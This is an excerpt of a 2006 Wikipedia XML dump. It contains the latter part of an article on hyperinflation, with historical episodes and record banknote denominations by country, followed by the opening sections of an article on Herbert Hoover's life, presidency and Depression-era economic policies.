Whatever the cause, hyperinflation involves both the supply and velocity of money. Which comes first is a matter of debate, and there may be no universal story that applies to all cases. But once the hyperinflation is established, the pattern of increasing the money stock, by which ever agencies are allowed to do so, is universal. Because this practice increases the supply of currency without any matching increase in demand for it, the price of the currency, that is the exchange rate, naturally falls relative to other currencies. Inflation becomes hyperinflation when the increase in money supply turns specific areas of pricing power into a general frenzy of spending quickly before money becomes worthless. The purchasing power of the currency drops so rapidly that holding cash for even a day is an unacceptable loss of purchasing power. As a result, no one holds currency, which increases the velocity of money, and worsens the crisis.

That is, rapidly rising prices undermine money's role as a store of value, so that people try to spend it on real goods or services as quickly as possible. Thus, the monetary model predicts that the velocity of money will rise [[endogenous | endogenously]] as a result of the excessive increase in the money supply. At the point where ordinary purchases are affected by inflation pressures, hyperinflation is out of control, in the sense that ordinary policy mechanisms, such as increasing reserve requirements, raising interest rates or cutting government spending will all be responded to by shifting away from the rapidly dwindling currency and towards other means of exchange.

During a period of hyperinflation, bank runs, loans for 24 hour periods, switching to alternate currencies, the return to use of gold or silver or even [[barter]] becomes common. Many of the people who hoard gold today expect hyperinflation, and are hedging against it by holding specie.  There is, also, extensive [[capital flight]] or flight to a &quot;hard&quot; currency such as the U.S. dollar. These are sometimes met with [[capital controls]], an idea which has swung from standard, to anathema, and back into semi-respectability. All of this constitutes an economy which is operating in an &quot;abnormal&quot; way, which may lead to decreases in real production. If so, that intensifies the hyperinflation, since it means that the amount of goods in &quot;too much money chasing too few goods&quot; formulation is also reduced. This is also part of the [[vicious circle]] of hyperinflation.

Once the vicious circle of hyperinflation has been ignited, dramatic policy means are almost always required, simply raising interest rates is insufficient.  [[Bolivia]], for example, underwent a period of hyperinflation in 1985, where prices increased 12,000% in the space of less than a year. The government raised the price of gasoline, which it had been selling at a huge loss to quiet popular discontent, and the hyperinflation came to a halt almost immediately, since it was able to bring in hard currency by selling its oil abroad. The crisis of confidence ended, and people returned deposits to banks. The German hyperinflation of the 1920s was ended by producing a currency based on assets loaned against by banks, called the [[rentenmark]]. Hyperinflation often ends when a civil conflict ends with one side winning. Though sometimes used, [[incomes policies|wage and price controls]] to control or prevent inflation, no episode of hyperinflation has been ended by the use of price controls alone, though they have sometimes been part of the mix of policies used to halt hyperinflation.

==Hyperinflation and the currency ==
[[Image:Goldkey logo removed.jpg|thumb|200px|In times of hyperinflation, [[gold]] is a store of value which can not be printed out of existence]]
[[Image:3sovriegns.jpg|thumb|200px|A [[Krugerrand]] and three [[Gold sovereign|Sovereigns]]. Gold coins are hoarded to escape inflation.  In times of inflation, the price of gold rises by roughly the devaluation of the paper currency.]]
As noted, in countries experiencing hyperinflation, the [[central bank]] often prints money in larger and larger denominations as the smaller denomination notes become worthless. This can result in the production of some interesting [[banknote]]s, including those denominated in amounts of 1,000,000,000 or more.

* By late [[1923]], the [[Weimar Republic]] of Germany was issuing fifty-million-mark banknotes and postage stamps with a face value of fifty billion marks. The highest value banknote issued by the Weimar government's Reichsbank had a face value of 100 Billion marks (100,000,000,000,000) {100 Trillion US/UK}.  [http://www.sammler.com/coins/inflation.htm]. One of the firms printing these notes submitted an invoice for the work to the Reichsbank for 32,776,899,763,734,490,417.05 (3.28&amp;times;10&lt;sup&gt;19&lt;/sup&gt;, or 33 [[quintillion]]) Marks.

* The largest denomination banknote ever officially issued for circulation was in 1946 by the [[Hungarian National Bank]] for the amount of 100 quintillion Peng&amp;#337; (100,000,000,000,000,000,000, or 10&lt;sup&gt;20&lt;/sup&gt;). [http://bankjegy.szabadsagharcos.org/xxcentury/p136.htm image] (There was even a banknote worth 10 times more, i.e. 10&lt;sup&gt;21&lt;/sup&gt; Peng&amp;#337;, printed, but not issued [http://bankjegy.szabadsagharcos.org/xxcentury/p137.htm image].) The Post-WWII hyperinflation of Hungary holds the record for the most extreme monthly inflation rate ever — 41,900,000,000,000,000% ({{sn|4.19|16}}%) for July, 1946, amounting to prices doubling every fifteen hours.

One way to avoid the use of large numbers is by declaring a new unit of currency (so, instead of 10,000,000,000 Dollars, a bank might set 1 New Dollar = 1,000,000,000 old Dollars, so the new note would read &quot;10 New Dollars&quot;.) While this does not lessen actual value of a currency, it is called [[revaluation]] and also happens over time in countries with standard inflation levels.  During hyperinflation, currency inflation happens so quickly that bills reach large numbers before revaluation.

Some banknotes were stamped to indicate changes of denomination. This is because it would take too long to print new notes. By time the new notes would be printed, they would be obsolete (that is, they would be of too low a denomination to be useful).

Metallic coins were rapid casualties of hyperinflation, as the scrap value of metal enormously exceeded the face value.  Massive amounts of coinage were melted down, usually illictly, and exported for hard currency.

Governments will often try to disguise the true rate of inflation through a variety of techniques.  These can include the following:
*Outright lying as to official statistics such as money supply, inflation or reserves.
*Suppression of publication of money supply statistics, or inflation indices.
*Price and wage controls.
*Forced savings schemes, designed to suck up excess liquidity.  These savings schemes may be described as pensions schemes, emergency funds, war funds, or similar.
*Adjusting the components of the Consumer Price Index, to remove those items whose prices are rising the fastest.

==Hyperinflation around the world==
;[[Angola]]:Angola went through the worst inflation from 1991 to 1995. In early 1991, the highest denomination was 50,000 Kwanzas. By 1994, it was 500,000 Kwanzas. In the 1995 currency reform, 1 Kwanza Reajustado was exchanged for 1,000 Kwanzas. The highest denomination in 1995 was 5,000,000 Kwanzas Reajustados. In the 1999 currency reform, 1 new Kwanza was exchanged for 1,000,000 Kwanzas Reajustados. The overall impact of hyperinflation: 1 new Kwanza = 1,000,000,000 pre 1991 Kwanzas. 

;[[Argentina]]:Argentina went through steady inflation from 1975 to 1991. At the beginning of 1975, the highest denomination was 1,000 Pesos. In late 1976, the highest denomination was 5,000 Pesos. In early 1979, the highest denomination was 10,000 Pesos. By the end of 1981, the highest denomination was 1,000,000 Pesos. In the 1983 currency reform, 1 Peso Argentino was exchanged for 10,000 Pesos. In the 1985 currency reform, 1 Austral was exchanged for 1,000 Pesos Argentino. In the 1992 currency reform, 1 new Peso was exchanged for 10,000 Australes. The overall impact of hyperinflation: 1 new Peso = 100,000,000,000 pre-1983 Pesos. 

;[[Austria]]: Between 1921 and 1922, inflation in Austria reached 134%.

;[[Belarus]]: Belarus went through steady inflation from 1994 to 2002. In 1993, the highest denomination was 5,000 Rublei. By 1999, it was 5,000,000 Rublei. In the 2000 currency reform, the ruble was replaced by the new Ruble at an exchange rate of 1 new Ruble = 2,000 old Rublei. The highest denomination in 2002 was 50,000 Rublei, equal to 100,000,000 pre-2000 Rublei.

;[[Bolivia]]:Bolivia went through the worst inflation between 1984 and 1986. Before 1984, the highest denomination was 1,000 Pesos Bolivianos. By 1985, the highest denomination was 10 Million Pesos Bolivianos. In the 1987 currency reform, Peso Boliviano was replaced by Boliviano which was pegged to U. S. dollar.   

;[[Bosnia-Herzegovina]]:Bosnia-Hezegovina went through the worst inflation in 1993. In 1992, the highest denomination was 1,000 Dinara. By 1993, the highest denomination was 100,000,000 Dinara. In the [[Republika Srpska]], the highest denomination was 10,000 Dinara in 1992 and 10,000,000,000 Dinara in 1993. 50,000,000,000 Dinara notes were also printed in 1993 but never issued. 

;[[Brazil]]: Since 1986 every few years the currency has been renamed, and three zeros dropped from the bank notes. A 1960's Cruzeiro was, in 1994, worth less than one trillionth of a US cent, after adjusting for multiple devaluations and note changes. A new currency called Real was adopted in 1994, after the use of a transitional unit during some months, the URV, and since then inflation was under control.

;[[China]]:China went through the worst inflation 1948-49. In 1947, the highest denomination was 50,000 Yuan. By mid-1948, the highest denomination was 180,000,000 Yuan. The 1948 currency reform replaced the Yuan by the Gold Yuan at an exchange rate of 1 Gold Yuan = 3,000,000 Yuan. In less than 1 year, the highest denomination was 10,000,000 Gold Yuan. The highest denomination by a regional bank was 6,000,000,000 Yuan issued by Sinkiang Provincial Bank in 1949

;[[Free City of Danzig]]:Danzig went through the worst inflation in 1923. In 1922, the highest denomination was 1,000 Mark. By 1923, the highest denomination was 10,000,000,000 Mark. 

;[[Georgia (country)|Georgia]]:Georgia went through the worst inflation in 1994. In 1993, the highest denomination was 100,000 Laris. By 1994, the highest denomination was 1,000,000 Laris. In the 1995 currency reform, 1 new Lari was exchanged for 1,000,000 Laris.  

;[[Germany]]:Germany went through the worst inflation in 1923-24. In 1922, the highest denomination was 50,000 Mark. By 1923, the highest denomination was 100,000,000,000,000 Mark. 

;[[Greece]]:Greece went through the worst inflation in 1944. In 1943, the highest denomination was 25,000 Drachmai. By 1944, the highest denomination was 100,000,000,000,000 Drachmai. In the 1944 currency reform, 1 new Drachma was exchanged for 50,000,000,000 Drachmai. Another currency reform in 1953 replaced the Drachma at an exchange rate of 1 new Drachma = 1,000 old Drachma. The overall impact of hyperinflation: 1 (1953) Drachma = 50,000,000,000,000 pre 1944 Drachmai.  The Greek inflation rate reached 8.5 billion percent.

;[[Hungary]]:Hungary went through the worst inflation in modern history in 1945-46. Before 1945, the highest denomination was 1,000 Pengo. By the end of 1945, it was 10,000,000 Pengo. The highest denomination in mid-1946 was 100,000,000,000,000,000,000 Pengo. [http://tomchao.com/hb12.html Banknotes] The rate of inflation was 4.19 quintillion percent. The 1946 currency reform changed the currency to Forint. Previously, between 1922 and 1924 inflation in Hungary reached 98%.

;[[Israel]]: Inflation accelerated in the 1970s, rising steadily from 13% in 1971 to 111% in 1979.From 133% in 1980, it leaped to 191% in 1983 and then to 445% in 1984, threatening to become a four-digit figure within a year or two. In 1985 Israel froze all prices by law.  In 1985, inflation fell to 185% (less than half the rate in 1984).  Within a few months, the authorities began to lift the price freeze on some items; in other cases it took almost a year. In 1986, inflation was down to just 19%.

;[[Republic of Serbian Krajina|Krajina]]:Krajina went through the worst inflation in 1993. In 1992, the highest denomination was 50,000 Dinara. By 1993, the highest denomination was 50,000,000,000 Dinara.  Note that this unrecognized country was reincorporated into Croatia in 1998.

;[[Madagascar]]: The [[Malagasy franc]] had a turbulent time in 2004, losing nearly half its value and sparking rampant inflation.  On 1st January 2005 the [[Malagasy ariary]] replaced the previous currency at a rate of 0.2 ariary for one Malagasy franc.  In May 2005 there were riots over rising inflation, although falling  prices have since calmed the situation.

;[[Nicaragua]]:Nicaragua went through the worst inflation from 1987 to 1990. Before 1987, the highest denomination was 1,000 Cordobas. By 1987, it was 500,000 Cordobas. In the 1988 currency reform, 1 new Cordoba was exchanged for 1,000 old Cordobas. The highest denomination in 1990 was 10,000,000 new Cordobas. In the mid-1990 currency reform, 1 gold Cordoba was exchanged for 5,000,000 new Cordobas. The overall impact of hyperinflation: 1 gold Cordoba = 5,000,000,000 pre 1988 Cordobas. 

;[[Peru]]:Peru went through the worst inflation from 1984 to 1990. The highest denomination in 1984 was 50,000 Soles De Oro. By 1985, it was 500,000 Soles De Oro. In the 1985 currency reform, 1 Intis was exchanged for 1000 Soles De Oro. In 1986, the highest denomination was 1,000 Intis. It was 5,000,000 Intis by 1990. In the 1991 currency reform, 1 Nuevo Sol was exchanged for 1,000,000 Intis. The overall impact of hyperinflation: 1 Nuevo Sol = 1,000,000,000 pre 1985 Soles De Oro. 

;[[Poland]]:Poland went through the worst inflation between 1990 and 1993. The highest denomination in 1989 was 200,000 Zlotych. It was 1,000,000 Zlotych in 1991 and 2,000,000 Zlotych in 1992. In the 1994 currency reform, 1 new Zloty was exchanged for 10,000 old Zlotych. Previously between 1922 and 1924, Polish inflation reached 275%.

;[[Romania]]:Romania is still working through steady inflation. The highest denomination in 1998 was 100,000 Lei. By 2000 it was 500,000 Lei. In early 2005 it was 1,000,000 Lei. In July 2005 the Leu was replaced by the new Leu at 10,000 old Lei = 1 new Leu. Inflation in 2005 was about 10%. In 2006 the highest denomination is 500 Lei (= 5,000,000 old Lei).

;[[Russia]]: Between 1921 and 1922, during the civil war, inflation in Russia reached 213%.

:In 1992, the first year of post-Soviet economic reform, inflation was 2,520%, the major cause being the decontrol of most prices in January. In 1993 the annual rate was 840%, and in 1994, 224%.  The ruble devalued from about 100 r/$ in 1991 to about 30,000 r/$ in 1999.

;[[Taiwan]]: Severe inflation existed in the late 1940s due to factors such as corruption and the [[228 Incident]].  Increasingly higher denominations were issued on the island, up to one million Yuan. Inflation was eventually controlled after the [[New Taiwan Dollar]] was issued in 1949 at a ratio of 40,000-to-1 against the Old Taiwan Nationalist Yuan. 

;[[Turkey]]:Turkey is still working through steady inflation. The highest denomination in 1995 was 1,000,000 Lira. By 2000 it was 20,000,000 Lira. In the 2005 currency reform, 1 new Lira was exchanged for 1,000,000 old Lira. 

;[[Ukraine]]:Ukraine went through the worst inflation between 1993 and 1995. Before 1993, the highest denomination was 1,000 Karbovantsiv. By 1995, it was 1,000,000 Karbovantsiv. 

;[[United States]]:During The Revolutionary War, the Continental Congress authorized the printing of paper &quot;money&quot; called &quot;Continentals&quot;, which depreciated in perceived value [inflated] so quickly and so badly that, soon, they were &quot;not worth a Continental&quot;. Between January 1861 and April 1865, the Lerner Commodity Price Index of leading cities in the Eastern Confederacy increased from 100 to over 9000.

[[image:Yap_Stone_Money.jpg|thumb|right|100px|A large (approximately 8 feet in height) example of Yapese stone money]]

;[[Yap]]: The island of Yap in the Pacific ocean used varying sized stones as money, of which the largest weighing several tons were the most valuable.  The stones had been brought by sea from the Island of Palau 210km away.  The journey was very perilous given the length of the voyage and the rough seas between the islands of Palau and Yap. Many of the stones were lost at sea. The risk associated with  procurement of the &quot;money stones&quot; initially made them highly valuable.  The Yapese valued them because large stones were quite difficult to steal and were in relatively short supply.  However, in 1874, an enterprising Irishman called David O’Keefe hit upon the idea of employing the Yapese to import more &quot;money&quot; in the form of shiploads of large stones, also from Palau.  O'Keefe then traded these stones with the Yapese for other commodities such as sea cucumbers and copra.  Over time, the Yapese brought thousands of new stones to the island, debasing the value of the old ones.  Today they are almost worthless, except as a tourist curiosity.

;[[Yugoslavia]]:Yugoslavia went through a period of hyperinflation and subsequent currency reforms from 1989 to 1994. The highest denomination in 1988 was 50,000 Dinara. By 1989 it was 2,000,000 Dinara. In the 1990 currency reform, 1 new Dinar was exchanged for 10,000 old Dinara. In the 1992 currency reform, 1 new Dinar was exchanged for 10 old Dinara. The highest denomination in 1992 was 50,000 Dinara. By 1993, it was 10,000,000,000 Dinara. In the 1993 currency reform, 1 new Dinar was exchanged for 1,000,000 old Dinara. But before the year was over, the highest denomination was 500,000,000,000 Dinara. In the 1994 currency reform, 1 new Dinar was exchanged for 1,000,000,000 old Dinara. In another currency reform a month later, 1 Novi Dinar was exchanged for 12,000,000 Dinara. The overall impact of hyperinflation: 1 Novi Dinar = {{sn|1.2|27}} pre 1990 Dinara.

;[[Zaire]]:Zaire went through a period of inflation between 1989 and 1996. In 1988, the highest denomination was 5,000 Zaires. By 1992, it was 5,000,000 Zaires. In the 1993 currency reform, 1 Nouveau Zaire was exchanged for 3,000,000 old Zaires. The highest denomination in 1996 was 1,000,000 Nouveaux Zaires. In 1997, Zaire was renamed the Congo Democratic Republic and changed its currency to Francs.  1 franc was exchanged for 100,000 Nouveaux Zaires. The overall impact of hyperinflation: 1 Franc = {{sn|3|11}} pre 1989 Zaires.

;[[Zimbabwe]]: The Zimbabwean dollar was formerly known as the [[Rhodesian dollar]] (R$), which was adopted in [[1970]] following [[decimalisation]] and the replacement of the [[Pound (currency)|pound]] as the currency, at a rate of 2 Rhodesian Dollars = 1 Pound (R$ 0.71 = USD $1.00).   At the time of independence in [[1980]], one Zimbabwean dollar (of 100 cents) was still worth more than the US Dollar  (Z$ 0.68 = USD $1.00), but rampant [[inflation]] and the collapse of the economy have severely devalued the currency, with many organisations using the [[US dollar]] instead.   According to the [[Guinness Book of Records]], Zimbabwe has the highest annual inflation rate in the world:[http://www.guinnessworldrecords.com/gwr5/content_pages/record.asp?recordid=46680].   (385% in 2003, 624% in January 2004, 360% (average) in 2004 and 585% in 2005.  Zimbabwe's annual rate of inflation is expected to reach a peak of between 700 and 800 percent in the first quarter of 2006.)   By January 25, 2006, there were 100,000 Zimbabwe Dollars per US Dollar (official exchange rate).  The highest denomination regular issue banknote is Z$1,000.00 (about 1c US) but the Reserve Bank of Zimbabwe has issued Bearer Cheques of Z$5,000; Z$10,000; and Z$20,000 to ease the money supply problem. Effective Feb. 1, 2006, new Z$50,000 Bearer Cheques were issued.

==See also==
* [[Inflation]]
* [[Chronic inflation]]
* [[Digital gold currency]]
* [[Store of value]]
* [[List of economics topics]]

== External links ==
*[http://www.sjsu.edu/faculty/watkins/hyper.htm San José State University: Episodes of hyperinflation]
*[http://tomchao.com/hb.html Bank notes during hyperinflation]

[[Category:Economic disasters]]
[[Category:Inflation]]

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    </revision>
  </page>
  <page>
    <title>Herbert Hoover</title>
    <id>13682</id>
    <revision>
      <id>42150915</id>
      <timestamp>2006-03-04T03:51:24Z</timestamp>
      <contributor>
        <username>RJII</username>
        <id>141644</id>
      </contributor>
      <comment>/* Hoover and the economy */ maybe this makes more sense</comment>
      <text xml:space="preserve">{{Infobox_President | name=President Herbert Clark Hoover
| nationality=american
| image=HerbertHoover.jpg
| order=31st President
| term_start=[[March 4]], [[1929]]
| term_end=[[March 3]], [[1933]]&lt;!-- Prior to the passage of the 20th Amendment, presidential terms ended at 11:59:59 on March 3. --&gt;
| predecessor=[[Calvin Coolidge]]
| successor=[[Franklin D. Roosevelt]]
| birth_date=[[August 10]], [[1874]]
| birth_place=[[West Branch, IA]]
| death_date=[[October 20]], [[1964]]
| death_place=[[New York City]], [[New York]]
| spouse=[[Lou Henry Hoover]]
| party=[[United States Republican Party|Republican]]
| vicepresident=[[Charles Curtis]]
}}
'''Herbert Clark Hoover''' ([[August 10]], [[1874]] &amp;ndash; [[October 20]], [[1964]]), the 31st [[President of the United States]] (1929-1933), was a successful [[mining engineer]], [[humanitarian]], and [[administration|administrator]]. He exemplified the [[Efficiency Movement]] component of the [[Progressive Era]], arguing there were engineering-like technical solutions to all social and economic problems--a position that was challenged by the [[Great Depression]] that began while he was President.

==Family background==
Hoover was born into a [[Religious Society of Friends|Quaker]] family of distant [[Germany|German]] (Pfautz, [[Wehmeyer]]) and [[Switzerland|Swiss]] (Huber, Burkhart) descent, in [[West Branch, Iowa|West Branch]], Iowa. He was the first President to be born west of the Mississippi River. Both of his parents, Jesse Hoover and Hulda Minthorn, died when Hoover was young. His father died in 1880, and his mother in 1884.  

In 1885, eleven-year-old &quot;Bert&quot; Hoover went to [[Newberg, Oregon]] to become the ward of his Uncle John Minthorn, a doctor and real estate developer whom Hoover recalled as &quot;a severe man on the surface, but like all Quakers kindly at the bottom.&quot; 
[[Image:1930-25B-tn.jpg|right|thumb|Hoover lived with his Uncle John Minthorn in this [[Newberg, Oregon]] house from 1885-91.]]

At a young age, Hoover was self-reliant and ambitious. &quot;My boyhood ambition was to be able to earn my own living, without the help of anybody, anywhere,&quot; he once reported. As an office boy in his uncle's Oregon Land Company he mastered bookkeeping and typing, while also attending business school in the evening. Thanks to a local schoolteacher, Miss Jane Gray, the boy's eyes were opened to the novels of [[Charles Dickens]] and [[Sir Walter Scott]]. ''[[David Copperfield (novel)|David Copperfield]]'', the story of another orphan cast into the world to live by his wits, would remain a lifelong favorite.

==Education==
[[Image:1893-7-tn.jpg|left|thumb|Hoover (seated, left) and other members of the Stanford surveying squad, [[1893]].]]
In the fall of 1891, Hoover was a member of the first entering class of students at the new [[Stanford University|Leland Stanford Junior University]] in California. Cutting a wider swath outside the classroom than in, Hoover managed the baseball and football teams, started a laundry, and ran a lecture agency. Teaming up with other students from less wealthy backgrounds against campus &quot;swells,&quot; the reluctant candidate was elected student body treasurer on the &quot;Barbarian&quot; slate, then wiped out a student-government debt of $2,000.

Hoover [[Academic major|majored]] in [[geology]] and studied with Professor [[John Casper Branner]], who also got him a summer job mapping terrain in Arkansas' [[Ozark Mountains]]. It was in Branner's lab that he met [[Lou Henry Hoover|Lou Henry]], a banker's daughter born in [[Waterloo, Iowa|Waterloo]], Iowa, in 1874. Lou shared her fellow Iowan's love of the outdoors and self-reliant nature. &quot;It isn't so important what others think of you as what you feel inside yourself&quot;, she told college friends.

Hoover graduated in May 1895.  In 1899, he married Lou Henry and they had 2 sons. 

[[Image:boxer.jpg|thumb|300px|right|Boxer forces in Tianjin.]] 
He worked as a mining engineer in [[Coolgardie]] and [[Kalgoorlie]]'s [[gold]] mines in [[Australia]] for [[mine]] owners [[Bewick, Moreing and Company]] of London.  They went to [[China]], where he developed coal mines. In June 1900, the [[Boxer Rebellion]] caught the Hoovers in [[Tianjin]]. For almost a month, the settlement was under heavy fire. While his wife worked in the hospitals, Hoover directed the building of barricades, and once risked his life rescuing Chinese children.

Between 1907 and 1912, Lou and Hoover combined their talents to create a translation of one of the earliest printed technical treatises: [[Georg Agricola]]'s '''De re metallica''', originally published in 1556. At 670 pages, with 289 [[woodcuts]], the Hoover translation remains the definitive English language translation of Agricola's work.

==Humanitarian years==
Bored with making money, the Quaker side of Hoover yearned to be of service to others. When [[World War I]] started in August 1914, he helped organize the return home of 120,000 American tourists and businessmen from Europe. Hoover led five hundred volunteers to distribute food, clothing, steamship tickets and cash. &quot;I did not realize it at the moment, but on August 3, 1914 my engineering career was over forever. I was on the slippery road of public life.&quot;  The difference between dictatorship and democracy, Hoover liked to say, was simple: dictators organize from the top down, democracies from the bottom up.

[[Image:HerbertHooveratOWU.jpg|left|thumb|Hoover seated (left) with [[Arthur Flemming]] at [[Ohio Wesleyan University]] ]]
Invaded by Germany, [[Belgium]], in the fall of 1914, faced a food crisis. Hoover undertook an unprecedented relief effort as head of the [[Commission for the Relief of Belgium]] (CRB).  The CRB became, in effect, an independent republic of relief, with its own flag, navy, factories, mills and railroads. Its $12-million-a-month budget was supplied by voluntary donations and government grants. In an early form of shuttle diplomacy, he crossed the North Sea 40 times seeking to persuade the enemies in London and Berlin to allow food to reach the war's victims. Long before the [[Armistice with Germany (Compiègne)|Armistice of 1918]], he was an international hero. The Belgian town of [[Leuven]] named a prominent square after him.

After the United States entered the war in April 1917, President [[Woodrow Wilson]] appointed Hoover head of the American [[Food Administration]], with headquarters in Washington. He succeeded in cutting consumption of food needed overseas and avoided rationing at home, yet kept the [[Allies]] fed. After the end of the war, Hoover, a member of the [[Supreme Economic Council]] and head of the [[American Relief Administration]], organized shipments of food for starving millions in [[Central Europe]]. To this end, he employed a newly formed Quaker organization, the [[American Friends Service Committee]] to carry out much of the logistical work in Europe. He extended aid to famine-stricken [[Bolshevist Russia]] in 1921. When a critic inquired if he was not thus helping [[Bolshevism]], Hoover retorted, &quot;Twenty million people are starving. Whatever their politics, they shall be fed!&quot;

In 1919, Hoover co-founded the [[Hoover Institute|The Hoover Institution on War, Revolution, and Peace]] at Stanford.  The Institute is a conservative/libertarian public policy think tank and library that, over time, has amassed a huge archive of documentation related to Hoover, World War I, and World War II, specifically focusing on the root causes of these wars.

==Commerce Secretary==
Hoover was touted as a possible Democratic presidential candidate in 1920, but he announced his support for [[Warren G. Harding]]. As [[United States Secretary of Commerce|Secretary of Commerce]], Hoover became one of the most visible men in the country, often overshadowing presidents Harding and [[Calvin Coolidge]].  His major achievement was in pushing progressive ideals in the business world, especially in the areas of standardization and international trade. He led relief efforts in the wake of the [[Great Mississippi Flood of 1927]].

==Election of 1928==
Hoover won the [[U.S. presidential election, 1928|Republican Presidential nomination in 1928]]. He campaigned against [[Al Smith]] on the basis of efficiency and prosperity.  Although Smith was the target of anti-Catholicism from the Baptist and Lutheran communities, Hoover avoided the religious issue. (Quakers for that matter were under some attack as pacifists.) He supported prohibition tentatively (calling it a &quot;noble experiment&quot;). Historians agree that Hoover's national reputation, and the booming economy, combined with the deep splits in the Democratic party over religion and prohibition, guaranteed his landslide victory.

On poverty he promised: &quot;We in America today are nearer to the final triumph over poverty than ever before in the history of any land.&quot; Within months, the [[Stock Market Crash of 1929]] occurred, and the nation's economy spiraled downward into what became known as the [[Great Depression]].

==Presidency 1929-1933==
===Policies===
Even if the Hoover presidency has a negative imprint on it, it must be noted that there were some important reforms under the Hoover administration. 

The President expanded civil service protection, cancelled private oil leases on government lands and led the way for the prosecution of gangster [[Al Capone]]. He appointed a commission which set aside 3 million acres (12,000 km²) of [[national park]]s and 2.3 million of national forests; he appointed a [[Federal Farm Board]] that tried to fix farm prices; advocated tax reduction for low-income Americans; doubled the numbers of veteran hospital facilities; negotiated a treaty on St. Lawrence Seaway (which failed in the Senate); signed an act that made ''[[The Star-Spangled Banner]]'' the [[national anthem]]; wrote a Children's Charter that advocated protection of every child regardless of race or gender; built the [[San Francisco Bay Bridge]]; created an antitrust division in the [[Justice Department]]; required air mail carriers to improve service; proposed federal loans for urban slum clearances; organized the [[Federal Bureau of Prisons]]; reorganized the [[Bureau of Indian Affairs]]; proposed a federal Department of Education; advocated fifty-dollar-a-month [[pension]]s for Americans over 65; chaired White House conferences on child health, protection, homebuilding and homeownership. He also signed the [[Norris-La Guardia Act]] that limited judicial intervention in labor disputes. 

In the foreign arena, he helped to pave the way for [[Franklin D. Roosevelt]]'s &quot;Good Neighbor Policy&quot; by withdrawing American troops from [[Nicaragua]] and [[Haiti]]; he also proposed an arms embargo on Latin America and a one-third reduction in the world's naval forces--the [[Hoover Plan]]. He and Secretary of State [[Henry Stimson]] outlined the [[Stimson Doctrine|Hoover-Stimson Doctrine]] that said the United States would not recognize territories gained by force.

===Hoover and the economy===
{{main|Great Depression}}
After the crash, Hoover announced that while he would keep the Federal budget balanced, he would cut taxes and expand public-works spending. However, he signed the [[Smoot-Hawley Tariff Act]], which raised tariffs on over 20,000 dutiable items, and, later, the 1932 Revenue Act, which hiked taxes and fees (including postage rates) across the board. These acts are often blamed for deepening the depression, and being Hoover's biggest political blunders. Moreover, the Federal Reserve System's tightening of the money supply (for fear of inflation) is also regarded by most modern economists as a mistaken tactic, given the situation. Hoover's [[Secretary of the Treasury]] was [[Andrew Mellon]], a holdover from the Coolidge administration. 

Hoover's stance on the economy was based on [[volunteerism]]. From before his entry to the presidency, he was among the greatest proponents of the concept that public-private cooperation was the way to achieve high long-term growth. Hoover feared that too much intervention or coercion by the government would destroy individuality and self-reliance, which he considered to be important [[American values]]. Though he was not averse to taking action which he considered was in the public good, such as regulating radio broadcasting and aviation, he preferred a voluntary, non-government approach.

In June 1931, to deal with a very serious banking collapse in [[Central Europe]] that threatened to cause a worldwide financial meltdown, Hoover issued the so-called [[Hoover Moratorium]] that called for a one-year halt in [[reparations]] payments by Germany to France and in the payment of Allied war debts to the United States. The Hoover Moratorium had the effect of temporarily stopping the banking collapse in Europe. In June 1932, a conference canceled all reparations payments by Germany.

Hoover's economy was put to the test with the onset of the [[Great Depression]] in 1929. It was his vocal stance on non-intervention that led to public perception that he was a [[laissez-faire]], 'do nothing' president, which his supporters deny. His pro-free-market opponents also deny he was a laissez-faire president and condemn him for being intervenionist.

The following is an outline of other actions Hoover took to try to help end the Depression through government taxing and spending:  

#Signed the [[Emergency Relief and Construction Act]], the nation's first Federal [[unemployment]] assistance.
#Increased public works spending. Some of Hoover's efforts to stimulate the economy through public works are as follows:
##Asked Congress for a $400 million increase in the Federal Building Program
##Directed the [[Department of Commerce]] to establish a Division of Public Construction in December 1929
##Increased subsidies for ship construction through the Federal Shipping Board
##Urged the state governors to also increase their [[public works]] spending, though many failed to take any action.
#Signed the [[Federal Home Loan Bank Act]] establishing the [[Federal Home Loan Bank]] system to assist citizens in obtaining financing to purchase a home.
#Increased subsidies to the nation's struggling farmers with the [[Agricultural Marketing Act]], but with only limited impact.
#Established the President's [[Emergency Relief Organization]] to coordinate local, private relief efforts resulting in over 3,000 relief committees across the U.S.
#Urged bankers to form the [[National Credit Corporation]] to assist banks in financial trouble and protect depositors' money.
#Actively encouraged businesses to maintain high wages during the Depression, in line with the philosophy, called [[Fordism]], that high wages create prosperity.  Most corporations maintained their workers' wages early in the Depression in the hope that more money into the pockets of consumers would end the economic downturn. 
#Signed the [[Reconstruction Finance Act]]. This act established the [[Reconstruction Finance Corporation]], which made loans to the states for public works and unemployment relief. In addition, the RFC made loans to banks, railroads and agriculture credit organizations. 
#Raised tariffs.  After hearings held by the [[House Ways and Means Committee]] generated more than 20,000 pages of testimony regarding tariff protection, Congress responded with legislation that Hoover signed despite some misgivings. Instead of protecting American jobs, the [[Smoot-Hawley Tariff Act|Smoot-Hawley tariff]] is widely blamed for setting off a worldwide trade war which only worsened the country's (and the world's) economic ills.

[[Image:Hhover.gif|right|thumb|Hoover's White House portrait]]

In order to pay for these and other government programs, Hoover agreed to one of the largest tax increases in American history. The [[Revenue Act of 1932]] raised taxes on the highest incomes from 25% to 63%. The [[estate tax]] was doubled and [[corporate tax]]es were raised by almost 15%. Also, a &quot;check tax&quot; was included that placed a 2-cent tax (over 30 cents in today's dollars) on all bank checks. Economists William D. Lastrapes and George Selgin, in ''The Check Tax: Fiscal Folly and The Great Monetary Contraction'', conclude that the check tax was &quot;an important contributing factor to that period's severe monetary contraction.&quot; [http://www.terry.uga.edu/~selgin/files/check_tax.pdf] Hoover also encouraged Congress to investigate the [[New York Stock Exchange]], and this pressure resulted in various reforms.

For this reason, some hold that Hoover's economics were, in fact, left-wing in character. During the 1932 elections, [[Franklin D. Roosevelt]] blasted the Republican incumbent for spending and taxing too much, increasing national debt, raising tariffs and blocking trade, as well as placing millions on the dole of the government. Roosevelt attacked Hoover for &quot;reckless and extravagant&quot; spending, of thinking &quot;that we ought to center control of everything in Washington as rapidly as possible,&quot; and of leading &quot;the greatest spending administration in peacetime in all of history.&quot; Roosevelt's running mate, [[John Nance Garner]], accused the Republican of &quot;leading the country down the path of socialism&quot;.

These policies pale beside the more drastic steps taken later as part of the [[New Deal]], however, but Hoover's opponents charge that they came too little, and too late. Even as he legislated for changes, he reiterated his view that while people must not suffer from hunger and cold, caring for them must be primarily a local and voluntary responsibility.

